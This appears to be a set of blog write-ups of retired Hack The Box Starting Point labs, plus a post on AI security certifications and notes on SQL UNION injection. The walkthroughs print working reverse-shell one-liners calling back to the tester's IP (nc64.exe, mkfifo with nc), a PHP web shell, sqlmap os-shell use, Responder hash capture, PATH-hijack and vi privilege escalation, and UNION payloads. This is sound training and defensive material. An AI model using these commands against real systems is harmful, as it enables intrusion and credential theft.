Recon

Start with a full service scan.

sudo nmap -sC -sV 10.129.98.50

That combination is the whole plot in miniature. Port 445 is file sharing, port 1433 is a SQL Server, and boxes that expose both almost always want you to find a credential on one and spend it on the other. SMB is where you look first because it’s the one that gives things away for free.

Enumeration

List the shares with a null session, no credentials at all:

smbclient -N -L \\\\10.129.98.50\\

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
backups         Disk
C$              Disk      Default share
IPC$            IPC       Remote IPC

ADMIN$ and C$ are the default admin shares and won’t open without privileges. backups is the odd one out, a non-default share sitting there with no comment, and it lets me in anonymously:

smbclient -N \\\\10.129.98.50\\backups
smb: \> ls
smb: \> get prod.dtsConfig

prod.dtsConfig is an SSIS package configuration, and those are XML files that tend to carry connection strings in plaintext. This one does:

<DTSConfiguration>
  <Configurations>
    <Configuration ...>
      <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;...

This is the whole foothold in one line. A backup config, left readable to anyone who can reach SMB, contains the database service account’s password in the clear. I pulled the relevant piece straight out into a scratch file so I wouldn’t lose it: Password=M3g4c0rp123; User ID=ARCHETYPE\sql_svc.

So I’ve got sql_svc / M3g4c0rp123, and a SQL Server on 1433 waiting for it.

Foothold

Impacket’s mssqlclient.py connects to MSSQL and gives an interactive SQL prompt. The account is a Windows login, so it needs -windows-auth:

mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.98.50 -windows-auth

[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
SQL (ARCHETYPE\sql_svc  dbo@master)>

First thing to confirm is what this account is allowed to do. sysadmin is the role that matters, because it’s the one that can turn on command execution:

SELECT is_srvrolemember('sysadmin')

It comes back 1. sql_svc is a full sysadmin, which on a box like this is game over already, it just takes a couple more steps to cash in. While poking around I listed the databases and noticed msdb has is_trustworthy_on set, which is its own escalation route, but I didn’t need it. The direct path from sysadmin is xp_cmdshell, an extended procedure that runs OS commands. It’s disabled by default, so I enable it (the impacket shell wraps the reconfigure dance in a single command):

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
output
-----------------
archetype\sql_svc

Command execution as the service account. xp_cmdshell is a miserable place to live though, every command is a fresh round trip with no interactivity, so the move is to use it once to pull a real shell back.

I hosted nc64.exe over a quick web server on my box:

python3 -m http.server 80

Then had the target download it and connect back. Two xp_cmdshell calls, one to fetch the binary and one to fire the shell:

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.128/nc64.exe -outfile nc64.exe"
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.128 443"

With a listener already waiting:

sudo nc -lvnp 443

The second call hangs, which is exactly right, it means the shell connected and is sitting on my listener:

C:\Users\sql_svc\Downloads> whoami
archetype\sql_svc

The user flag is on the service account’s desktop:

type C:\Users\sql_svc\Desktop\user.txt

Privilege Escalation

I’m sql_svc, a low-privilege service account, and I need administrator. The single highest-value thing to check on any Windows foothold is the PowerShell history, because PSReadLine silently logs every command every user has typed into a console, and people type passwords into consoles. The file lives under each user’s profile:

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! /persistent:no
exit

There it is. Somebody mounted the backups share as the administrator account and typed the password on the command line, and PSReadLine wrote it to disk where sql_svc can read it: administrator / MEGACORP_4dm1n!!. WinPEAS flags this file too, but you don’t need a tool, just know the path.

Now I’ve got the administrator’s password, and with SMB and RPC exposed I can authenticate as admin directly instead of pivoting inside the existing shell. Impacket’s psexec.py uploads a service binary and gives a SYSTEM shell over 445:

psexec.py administrator@10.129.98.50
# Password: MEGACORP_4dm1n!!

[*] Opening SVCManager on ARCHETYPE.....
[*] Creating service ....
C:\Windows\system32> whoami
nt authority\system

Not just administrator, psexec.py lands as NT AUTHORITY\SYSTEM, the highest account on the box. The root flag is on the administrator’s desktop:

type C:\Users\Administrator\Desktop\root.txt

Box done.

Takeaways

• The chain is one leaked secret feeding the next: an anonymous share leaks a DB password, the DB password is sysadmin so it becomes code execution, and a history file leaks the admin password so code execution becomes SYSTEM. No exploit in the memory-corruption sense anywhere, just credentials left where they shouldn’t be.
• sysadmin on MSSQL is remote code execution, full stop. xp_cmdshell is off by default but any sysadmin can switch it on, so the role itself is the vulnerability. Service accounts should never be sysadmin, and connection strings should never sit in a world-readable share.
• The privesc lesson is the one to memorise for every Windows box: C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. It is the Windows equivalent of .bash_history, and it catches passwords typed on the command line constantly. Check it on every foothold.
• Once you have an admin password, psexec.py is cleaner than climbing through your existing shell, and it drops you at SYSTEM rather than just the admin user.
• Defensive version: don’t leave backup shares anonymous, don’t run SQL Server service accounts as sysadmin, don’t put credentials in net use on the command line, and clear the history if you do. Any one of those breaks the chain.

Retired Tier II Starting Point box on my own Hack The Box account. Only ever test what you’re allowed to.

Recon

sudo nmap -sC -sV 10.129.95.191

SSH won’t move without creds, so port 80 is the game. The site is a corporate brochure page for “MegaCorp Automotive”. Nothing obviously interactive on the surface, which on a box like this means the interesting part is hidden a layer down.

Enumeration

Directory busting first:

gobuster dir -u http://10.129.95.191 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html
# /css /fonts /images /js /themes
# /uploads   (301)
# index.php  (200)

An /uploads directory is a loud hint that this box wants me to put a file somewhere. But the front page has no upload form, so there’s an area I haven’t found yet. The answer was in the JavaScript, not the HTML. Reading the site’s JS files turned up a reference to a login endpoint the navigation never links to:

http://10.129.95.191/cdn-cgi/login/

That page has a normal username/password box and, underneath it, a Login as Guest button. Free access, no creds needed.

The IDOR and the cookie

As guest I get a small account panel. The Account page URL carries my identity in the query string:

/cdn-cgi/login/admin.php?content=accounts&id=2

Guest is id=2. The obvious move is to walk that number. Setting id=1 shows a different account, and crucially the page prints each account’s Access ID alongside it. The super-admin’s Access ID is 34322.

This is the actual bug. The page lets any logged-in user read any other account by ID (a textbook IDOR), and it leaks a value the app treats as a secret. One authorized-but-nosy user reading id=1 gets everything they need to impersonate the admin.

Now the upload. Browsing to the uploads area as guest gets refused with a “super admin” message. The site decides who you are with two cookies:

role=guest;  user=<my access id>

The server never revalidates these against a session, it just trusts them. So I rewrote both in the browser dev tools:

role=admin;  user=34322

Reload, and the uploads page renders for me as super admin.

Foothold

With the upload unlocked I grabbed pentestmonkey’s PHP reverse shell, set the callback to my tun0 address and a port I had a listener on, and uploaded it.

// php-reverse-shell.php
$ip = '10.10.14.128';   // my tun0
$port = 4444;

Uploaded files land in /uploads, and Apache runs PHP there, so requesting the file executes it. Listener up first:

rlwrap nc -lvnp 4444

Then trigger it:

curl http://10.129.95.191/uploads/php-reverse-shell.php

Shell back as www-data. First thing, upgrade the dumb shell to something that behaves like a terminal:

python3 -c 'import pty; pty.spawn("/bin/bash")'

From www-data to robert

The web root is where the login page keeps its database config, and that’s the first place to look:

cat /var/www/html/cdn-cgi/login/db.php
# 'robert' / 'M3g4C0rpUs3r!'

There’s a local user robert on the box, and the classic mistake is password reuse between the app’s DB account and the system account. It reuses:

su robert
# Password: M3g4C0rpUs3r!
cat /home/robert/user.txt

First flag. su matters here rather than trying to shove the password into a web form, because I want a real user session for the next step.

Privilege Escalation

robert’s groups are the tell:

id
# uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

That bugtracker group isn’t standard, so something on disk must be owned by it:

find / -group bugtracker 2>/dev/null
# /usr/bin/bugtracker

ls -la /usr/bin/bugtracker
# -rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker

A SUID binary, owned by root, that the bugtracker group is allowed to run. It runs as root no matter who launches it. Running it, it asks for a bug ID and prints a report file. Pulling strings out of the binary shows how it reads that file:

strings /usr/bin/bugtracker
# ...
# cat /root/reports/
# ...

It calls cat with no absolute path. When a program does that, the shell finds cat by searching PATH in order, and I control PATH. So I put my own cat first, one that gives me a shell instead of reading a file:

cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH

bugtracker
# enter any bug id, then hit enter

Because bugtracker is SUID root and it resolves cat to my /tmp/cat, the /bin/bash it launches runs as root.

# whoami -> root
cat /root/root.txt

Rooted.

Takeaways

• The web half is four failures in a row: a hidden-but-unauthenticated login, an IDOR that leaks the admin’s ID, an upload that trusts client-side cookies for authorization, and a directory that executes what you upload. Each is common. Chaining them is the lesson.
• Never trust a cookie to carry authorization. role=admin is only as strong as the server’s willingness to re-check it, and here it did zero checking. Session state belongs on the server.
• Read the JavaScript. The whole box hinges on a login endpoint that nothing links to but the JS mentions. Directory busting alone would have missed it.
• db.php and config files in the web root are always worth a look, and reused passwords turn one leak into a full user account.
• The privesc is the SUID + relative-path pattern worth memorising: if a root binary calls a command without an absolute path, you own that command via PATH. The fix is trivial (call /bin/cat, or drop SUID), which is exactly why it’s everywhere.

Retired Starting Point box on my own Hack The Box account. Only ever test what you’re allowed to.

Recon

Start with a full service scan and note what’s exposed.

sudo nmap -sC -sV 10.129.96.248

SSH is unlikely to be the way in without creds, so the web server gets my attention. The page is “The Toppers”, a mostly static band site. The useful part of a site like this is always the contact section, and here every email address uses the thetoppers.htb domain.

So I set up name resolution before going further.

sudo nano /etc/hosts
# 10.129.96.248   thetoppers.htb

Enumeration

Directory busting was quiet, so I moved to virtual host enumeration. Multiple subdomains served off one IP is a common pattern, and it’s exactly what gobuster’s vhost mode is for.

gobuster vhost -u http://thetoppers.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain

That returned s3.thetoppers.htb.

The one detail that unlocked the box: a subdomain literally named s3. That’s Amazon-style object storage, and a self-hosted one usually means an emulator that’s been left wide open.

I added the new vhost to /etc/hosts next to the first, then confirmed the service was alive.

echo "10.129.96.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts
curl -s http://s3.thetoppers.htb/

The endpoint answered like a running S3 service, so I talked to it as one. The AWS CLI doesn’t validate credentials against this box, so any junk values work. I filled every field with temp.

aws configure
# AWS Access Key ID:     temp
# AWS Secret Access Key: temp
# Default region name:   temp
# Default output format: temp

aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

There’s a bucket named thetoppers.htb, and listing it shows the actual website files. That’s the whole game. The bucket isn’t side storage, it is the web root. Apache serves straight out of it, so anything I write to the bucket I can then request over HTTP, and since PHP is enabled it gets executed rather than handed back as text.

Foothold

I wrote the smallest useful web shell, a one liner that runs whatever I pass in the cmd parameter, and uploaded it into the bucket.

echo '<?php system($_GET["cmd"]); ?>' > shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php

If the upload fails with a DNS or addressing error, switch the CLI to path style so it stops trying to resolve thetoppers.htb.s3.thetoppers.htb: aws configure set default.s3.addressing_style path.

Then I confirmed execution by asking who I was running as.

curl "http://thetoppers.htb/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data.

Privilege Escalation

None needed. On Three the flag sits in the web root’s parent directory and is readable by the web user, so the foothold shell is enough to finish the box.

curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"

That returns the flag. Box done.

Takeaways

• The intended path was exactly this one. The emails gave me the domain, the domain led to vhost enumeration, and the s3 subdomain gave up the rest.
• Read the contact page and the page source. Skipping them costs you the first foothold on boxes like this.
• The real bug isn’t S3, it’s two mistakes stacked: a bucket writable by anyone, used directly as the web root by a server that runs PHP. Either one alone is bad. Together they’re instant RCE.
• Defensive version: don’t serve executable content out of a writable object store, require real credentials on the storage backend, and keep uploads on a host that can’t run code.

Only test targets you’re allowed to. This is a retired Starting Point box on my own Hack The Box account. Never a live site you don’t own.

Recon

Start with a full service scan and note what’s exposed.

sudo nmap -sC -sV 10.129.95.174

Three things stand out immediately. nmap’s ftp-anon script reports anonymous FTP is allowed and lists a single file in the root, backup.zip. Port 80 serves a “MegaCorp Login” page. SSH is there but useless without creds. The FTP file is the obvious thread to pull first.

Enumeration

Anonymous login, grab the file:

lftp 10.129.95.174 -u anonymous
# password: (blank, just Enter)
ls
get backup.zip
exit

backup.zip is encrypted, so I couldn’t just unzip it. That’s what zip2john is for: it pulls the archive’s password hash into a format John can chew on.

zip2john backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

rockyou cracked it in under a second: the zip password is 741852963. Unzip with that and two files fall out, index.php and style.css, the source of the login page.

unzip backup.zip   # password: 741852963

The one detail that unlocked the box: the login isn’t backed by a database, it’s hardcoded in the source I just recovered. index.php checks the username against admin and the password against a fixed MD5: md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3".

So this isn’t the end, it’s a second hash to crack. One unsalted MD5, straight into John:

echo "2cb42f8734ea607eefed3b70af13bbd3" > hash.txt
john hash.txt --format=raw-md5 \
  --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

That returns qwerty789. Two cracks, and I’ve got a working web login of admin:qwerty789.

Foothold

Logging in lands on dashboard.php, which has a search box. The URL it drives is dashboard.php?search=meta, and a search parameter that talks to a database is exactly where I start probing for injection. I fed it to sqlmap along with my authenticated session cookie, because the dashboard is behind the login and sqlmap needs to be logged in too.

sqlmap --url="http://10.129.95.174/dashboard.php?search=meta" \
  --cookie="PHPSESSID=<your-session-id>" --os-shell

A couple of false starts here worth calling out. My first runs answered the follow 302 redirect? prompt in a way that bounced sqlmap back to the login page, so every parameter came back “does not appear to be injectable”. Once I let it stay on dashboard.php with a valid cookie, it found the bug fast: the search parameter is injectable on a PostgreSQL back end, across boolean, error, stacked-query and time-based techniques.

Because the DB user is a superuser, sqlmap can go straight to COPY ... FROM PROGRAM, which runs shell commands, and --os-shell wraps that in a prompt:

os-shell> id
uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)

Command execution as postgres. The user flag is readable right there:

os-shell> cat /var/lib/postgresql/user.txt
ec9b13ca4d6229cd5cc1e09980965bf7

The --os-shell prompt is blind and miserable to work in: no TTY, every command is a fresh HTTP round trip, and anything interactive just hangs. It’s fine for id and cat, but you cannot escalate from inside it. The move is to use it once to fire a real reverse shell and never type into it again.

Start a listener locally:

nc -lvnp 4444

Then, from the os-shell, kick back a proper interactive shell:

os-shell> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.128 4444 >/tmp/f

Catch it, then upgrade to a real TTY so sudo and editors behave:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z, then: stty raw -echo; fg, then: export TERM=xterm

Privilege Escalation

With a usable shell as postgres, check what I’m allowed to run as root. I already know the DB password, it’s sitting in the app config the box ships with (dashboard.php connects as postgres:P@s5w0rd!), so sudo -l works:

sudo -l
# (root) /bin/vi /etc/postgresql/11/main/pg_hba.conf

That’s the whole game. I can run vi as root against one specific file, but vi doesn’t care which file, it cares that it’s running as root. It has a built-in shell escape, so I open the file and drop out of it into a root shell.

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# inside vi, type:
# :!/bin/bash

id   # uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Root shell, root flag, box done.

Takeaways

• This was the intended path start to finish: FTP to the zip, zip to the source, source to the hash, hash to the login, login to the SQLi, SQLi to a shell, shell to the sudo rule. Every step handed me the key to the next.
• Two lessons cost me the most time and both are about sqlmap. Answer the redirect prompt wrong and it silently tests the login page instead of the dashboard, so always confirm it’s actually hitting the vulnerable URL with a live cookie. And never try to escalate inside --os-shell; use it once to get a real reverse shell and move on.
• sudo /bin/vi on any file is root. Editors, pagers, and interpreters with shell escapes are the reason GTFOBins exists. :!/bin/bash from vi is one to keep in your head.
• Defensive version: don’t leave anonymous FTP serving backups, don’t hardcode credentials or run the web app’s database as a superuser, and never grant sudo on an editor. Any one of those fixed breaks the chain.

Only test targets you’re allowed to. This is a retired Starting Point box on my own Hack The Box account. Never a live host you don’t own.

I picked up three Cranium AI certifications this month: AI Security, AI Red Team, and AI Security Professional. The honest reason isn’t the LinkedIn line. It’s that I’ve spent the last couple of months building an AI-powered pentest framework, and at some point you have to stop guessing at how these systems break and go learn the actual threat model.

For context, my main project is an AI red team framework with a local LLM doing recon, correlation, and reporting. The whole time I’ve been building it, a quiet question kept nagging me. I know how to use an LLM to attack things, but do I actually understand how the LLM itself gets attacked? Those are two very different skill sets, and I was strong on the first and hand-wavy on the second. These three certs were me closing that gap on purpose.

The three, and how they stack

They’re meant to be taken in order, and it shows.

• AI Security is the foundations. What the attack surface of a model-backed system actually is, which is bigger than most people think. It’s not just the model. It’s the training data, the pipeline, the prompt boundary, the plugins and tools you bolt on, and the humans in the loop.
• AI Red Team is the offensive half, and the one I cared about most. Adversarial thinking applied to models: making them do things they shouldn’t, leak things they shouldn’t, and trust input they shouldn’t.
• AI Security Professional pulls the two together into how you actually run this as a practice. Governance, risk, and defending the pipeline end to end rather than plugging one hole at a time.

What actually landed

A few things reframed how I think, rather than just adding facts.

The prompt boundary is the new trust boundary. In web security you learn early that user input is hostile until proven otherwise. With LLMs the boundary is fuzzier and worse, because instructions and data arrive through the same channel. A model can’t cleanly tell “this is a command from my operator” from “this is text I was asked to summarise.” That’s the whole reason prompt injection works, and it’s why my framework now treats anything it scrapes off a target as untrusted by default. It didn’t before. That’s a direct change I made off the back of this.

The attack surface is a supply chain, not a box. Data poisoning, model theft, membership inference, a compromised dependency in the serving stack. The model weights are only one node. The Security Professional material hammered this, and it maps almost one to one onto how I already think about a network. You don’t just harden the crown jewel, you assume the path to it is contested.

Red teaming a model rhymes with red teaming a box, but the primitives differ. It’s the same loop I know from HTB, which is enumerate, find the boundary, push on it, escalate. The primitives are just jailbreaks, injection, and extraction instead of ports and services. That parallel made the offensive material click fast, because I wasn’t learning a mindset, only a new vocabulary for one I already had.

Was it worth it?

For me, yes, and I can be specific about why. I didn’t take these to prove I know AI security. I took them because I’m shipping something that lives in this space, and I was making design decisions on instinct where I should have been making them on a threat model. The clearest signal that it worked is that I changed how my framework handles untrusted input the same week. That’s the bar I hold any cert to. Did it change what I build, or just what my profile says?

If you’re doing offensive security and haven’t looked seriously at how AI systems get attacked, it’s coming for your scope whether you’re ready or not. Every product is quietly growing an LLM feature, and every one of those is new, poorly understood attack surface. Worth getting ahead of.

The certificates

If you want to check the receipts, each one verifies on Cranium, with a PDF copy on this site too:

• AI Security Professional (PDF)
• AI Red Team (PDF)
• AI Security (PDF)

All three issued by Cranium AI, July 2026.

Next up is folding what I learned into the framework properly: an injection-aware input layer, and a small harness for testing my own tooling the way I’d test a target. That’s the real deliverable. The certs were just the reading list.

Starting Point box. The actual solve is short. The real reason this post exists is the hour I lost to infrastructure before I ever touched the box. I’m writing the pain down so future me doesn’t repeat it.

Recon

sudo nmap -sC -sV 10.129.x.x

nmap’s ftp-anon script does half the work. It reports anonymous login allowed and lists two files sitting in the FTP root: allowed.userlist and allowed.userlist.passwd. Two open ports, and the names already tell the story. Grab creds off FTP, spend them on the web app.

Enumeration

Anonymous FTP, pull both files:

ftp 10.129.x.x
# Name: anonymous
# Password: (blank, just Enter)
ls
get allowed.userlist
get allowed.userlist.passwd
bye

cat allowed.userlist        # aron, pwnmeow, egotisticalsw, admin
cat allowed.userlist.passwd # root, Supersecretpassword1, ...

The mental trap. These are two parallel lists, not paired rows. Line 4 of each isn’t necessarily one credential, so you’ve got up to 4x4 combinations. On a real target this is where hydra earns its keep. Here, the intended admin pair works.

Now find where to spend them. The web app on 80 redirects to a login, and gobuster confirms the path:

gobuster dir -u http://10.129.x.x -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html
# /login.php (200)

Foothold

Log into /login.php with the admin credential from the two lists. That’s the box. The login reveals the flag.

Where I actually lost the time

The five-line solve above took maybe ten minutes. Everything else was environment. I’m recording it because these are reusable lessons, not one-offs.

1. VPN MTU, the bug that fakes being “the box is down”. Pages wouldn’t load. ping worked, curl -I worked (headers only), but the full 58 KB page hung forever. The OpenVPN log had the giveaway: read UDPv4 [EMSGSIZE Path-MTU=1480]: Message too long. Large response packets were exceeding the tunnel MTU and getting silently dropped. Small stuff (ping, HEAD) fit, big stuff (the actual page) didn’t.

# quick fix on the live interface:
sudo ip link set dev tun0 mtu 1300

# permanent fix, add to the .ovpn (the server was pushing tun-mtu 1500):
tun-mtu 1400
mssfix 1300
pull-filter ignore "tun-mtu"

That pull-filter ignore "tun-mtu" line matters. Without it the server’s pushed MTU overrides your config and you’re back to square one. And every VPN pack (Starting Point, Machines, Seasonal) is a separate file that needs the fix.

2. Wrong VPN entirely. Before the MTU thing, I was on the Machines VPN while the box needed a different network. ping returned Destination Host Unreachable from the gateway, which is a routing failure (wrong network), not a firewall drop. Match the pack to the section.

3. .htb hostnames need /etc/hosts. The web app redirects to a hostname. The browser can’t resolve crocodile.htb on its own, so add it manually:

echo "10.129.x.x  crocodile.htb" | sudo tee -a /etc/hosts

4. Firefox proxy chaos. A stale FoxyProxy/system-proxy setting had network.proxy.type stuck on 5 (system), routing box traffic into a dead proxy. curl works and Firefox hangs equals a browser-side proxy problem every time. Set it to 0 (No proxy) in about:config, and disable the extension so it stops overriding.

Takeaways

• nmap scripts hand you the plot. ftp-anon gave me anonymous access and the filenames without a single manual step.
• Two wordlists aren’t paired creds. Think in combinations, and reach for hydra when the list is long and the target won’t lock you out.
• “Server not found” or a hanging page is usually me, not the box. The debug ladder that never fails: ping, then curl -I, then check tun0 MTU, then check /etc/hosts, then check the Firefox proxy. If curl works and the browser doesn’t, it’s the browser.
• The recon to foothold pipeline finally clicked here: nmap tells you what’s open, service enum (gobuster, FTP) gets you creds, creds get you a login. Everything after is a variation on that.

Starting Point box, but the most real one so far. It’s the classic “coerce a Windows host into authenticating to you, capture the hash, crack it, log in” chain that shows up constantly in AD work. Technique first, no flags. Two things nearly broke me here: hash formatting and Ruby gem hell.

Recon

sudo nmap -sC -sV 10.129.x.x

Windows host (OS: Windows in the scan). Port 80 is the way in, and 5985 is WinRM, which is how I’ll come back once I have credentials. The site redirects to a .htb hostname, so first job is /etc/hosts:

echo "10.129.x.x  unika.htb" | sudo tee -a /etc/hosts

Enumeration and the vuln

The site’s page parameter (?page=french.html) loads whatever file you name and doesn’t restrict it, which is a file inclusion bug. On Windows, a path starting with // is a UNC/SMB network path, so I can point the server at my machine.

The chain:

1. Windows auto-authenticates when it opens an SMB share (that’s normal file-share behaviour), leaking an NTLMv2 hash in the process.
2. Responder sits on my tun0 interface pretending to be that SMB server and captures the hash.

sudo responder -I tun0

Then coerce the box into connecting back, in the browser:

http://unika.htb/?page=//10.10.x.x/test

Responder catches the Administrator NTLMv2 hash. From here it’s all offline.

Foothold: crack the hash

Struggle #1: hash formatting. This ate a genuinely embarrassing amount of time. I kept copying the hash out of the scrolling terminal and grabbing only the tail (8bfeb...:D50D1EFF...), missing the mandatory Administrator::MACHINE: prefix. John then misdetected it as LM, loaded it wrong, and cracked nothing. A NetNTLMv2 hash is USER::MACHINE:challenge:response:blob. All five parts, or it’s garbage.

The fix: don’t copy from the terminal. Responder writes every capture to disk, perfectly formatted: cat /usr/share/responder/logs/SMB-NTLMv2-SSP-<ip>.txt

# grab the full line from the log, save it, then:
john hash.txt --format=netntlmv2 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
# Loaded 1 password hash (netntlmv2, NTLMv2 C/R)
# <password>   (Administrator)

Forcing --format=netntlmv2 stops John guessing. It cracks in about a second once the hash is actually valid.

Access: WinRM with the cracked creds

5985 is open, so the recovered Administrator password gets a full remote shell.

Struggle #2: Ruby dependency hell. The “recommended” tool, evil-winrm, is a Ruby gem, and on Arch with Ruby 3.4 it’s a nightmare. 3.4 dropped a pile of formerly-bundled gems, so evil-winrm failed one missing gem at a time: csv, syslog, bigdecimal, rubyzip (which needs ~> 2.0, not latest), and on it went, whack-a-mole. A sudo gem install also lands gems in root’s GEM_PATH where the user-run tool can’t see them, which caused a “gem installed but not found” loop.

What actually worked was ditching Ruby entirely and using netexec (Python):

# AUR install resolved cleanly where pipx choked:
yay -S netexec

# one-shot: authenticate over WinRM and run a command
nxc winrm 10.129.x.x -u Administrator -p '<password>' -x "whoami"
# [+] Administrator:<password> (Pwn3d!)

Pwn3d! means admin access confirmed. evil-winrm-py (pipx) is the clean interactive alternative if you want a full shell.

Finding the flag

Administrator’s Desktop was empty. A recursive search across all profiles found it:

nxc winrm 10.129.x.x -u Administrator -p '<password>' -x "cmd /c dir /s /b C:\Users\*.txt"
# ...\Users\mike\Desktop\flag.txt

It lived on a different user’s desktop, which is a good reminder not to assume the flag is where you first look.

Takeaways

• This is the attack worth internalising. If you can make a Windows box connect to a server you control, it leaks credentials. LFI is just one trigger, there are many. Responder, capture, crack, WinRM is a pattern I’ll see again and again.
• Never copy hashes from a scrolling terminal. Use Responder’s log file. A NetNTLMv2 hash needs all five USER::MACHINE:challenge:response:blob parts, and --format=netntlmv2 saves John from guessing.
• On Arch, skip Ruby evil-winrm. netexec (nxc) and evil-winrm-py are Python and just work. Install netexec, impacket, and evil-winrm-py and never fight a gem again. Also run gem install without sudo, or gems hide in root’s path.
• Tooling failure isn’t system breakage. I removed and reinstalled a lot tonight and panicked once, but nothing was actually broken. Removing an app and its unused deps is normal maintenance.

Starting Point box. I’m writing this for the technique rather than the flag. The point of it is how much a single exposed database service gives away when it’s left wide open, plus a client-side gotcha that cost me a few minutes.

Recon

One service, and it’s the whole box.

sudo nmap -sC -sV 10.129.x.x

The nmap mysql-info script already does a lot of the work before I even connect. It hands over the protocol version, thread ID, capability flags, and the auth plugin. Seeing MariaDB on 3306 with nothing else open is the tell that the whole path lives inside the database.

Enumeration

The plan is simple. Connect as root, list the databases, read whatever’s interesting. On Arch I use the MariaDB client (mariadb, since the old mysql command is a deprecated alias now).

mariadb -h 10.129.x.x -u root

Where I got stuck. My client is a lot newer (12.x) than the server (10.3), and the new client tries to negotiate TLS by default. The server doesn’t support it, so the handshake dies before auth with: ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it. The fix is to tell the client not to require SSL. Nothing wrong with the creds or the command, just a version mismatch.

mariadb -h 10.129.x.x -u root --skip-ssl

root has no password, so it’s straight in at the Enter key. After that it’s standard SQL enumeration:

SHOW DATABASES;
USE <interesting_db>;
SHOW TABLES;
DESCRIBE <table>;
SELECT * FROM <table>;

Foothold

There’s no shell here. The foothold is the data itself. Walking the non-default databases and dumping the tables surfaces the credentials the box wants you to find. SHOW DATABASES filters out the noise (information_schema, mysql, performance_schema) and points you at the one that matters.

Takeaways

• A passwordless root on an exposed 3306 is game over. No exploit, no cracking, just connect and read. Worth remembering how much nmap’s mysql-info gives up before you even authenticate.
• New client plus old server equals a TLS mismatch. --skip-ssl (or --ssl=0) is the first thing to try when a modern MariaDB client refuses to talk to an old server. I’ll reach for it straight away next time instead of second-guessing my command.
• SQL enumeration is a fixed muscle-memory loop: SHOW DATABASES, then USE, then SHOW TABLES, then DESCRIBE, then SELECT. The same handful of commands works on every MySQL/MariaDB target.

The workflow

Almost every lab came down to the same loop, with Burp sitting in the middle:

1. Proxy the traffic and read what the browser is really sending.
2. Repeater to replay and mutate a single request until it breaks.
3. Intruder when I needed to fuzz a parameter or brute a small set.

Getting fast in Repeater made the biggest difference by far. Most labs are one well-crafted request away from being solved.

What the path covers

It’s all server-side, so these are bugs in what the application does with your input after it reaches the server:

The lessons that stuck

• Never trust the client. Nearly every category comes back to the same root cause: the server assumed the browser played fair. It didn’t.
• Read the response, not just the request. Half my wins came from noticing a status code, a timing difference, or a leaked field I wasn’t meant to see.
• Understand the bug before the payload. Pasting ' OR 1=1-- solves one lab. Understanding why it works solves the next fifty.
• The server is the trust boundary. Everything in this path lives on the far side of it, which is exactly why client-side checks never count for anything.

Where I’m going next

Server-side apprentice is the foundation. Next up is the client-side path (XSS, CSRF and friends), then the Practitioner labs, where these same classes get real filters and defences layered on top. At some point I also want to run a track through Caido to compare the workflow against Burp, but that’s a writeup for another day.

Only ever test targets you’re allowed to: the Web Security Academy’s own labs, your own apps, or a scoped engagement. Never a live site you don’t own.

Step 1: Find the column count

ORDER BY climbing until it errors, or incrementing NULLs:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--   -- no error = 3 columns

Step 2: Find a column that holds text

Replace each NULL with a string until the value renders on the page:

' UNION SELECT 'a',NULL,NULL--

Step 3: Extract the data

Once you have a text-compatible column, pull real data:

' UNION SELECT username, password, NULL FROM users--

Takeaway

UNION attacks are about shape: match the column count and a compatible type, then the rest of the database is one query away.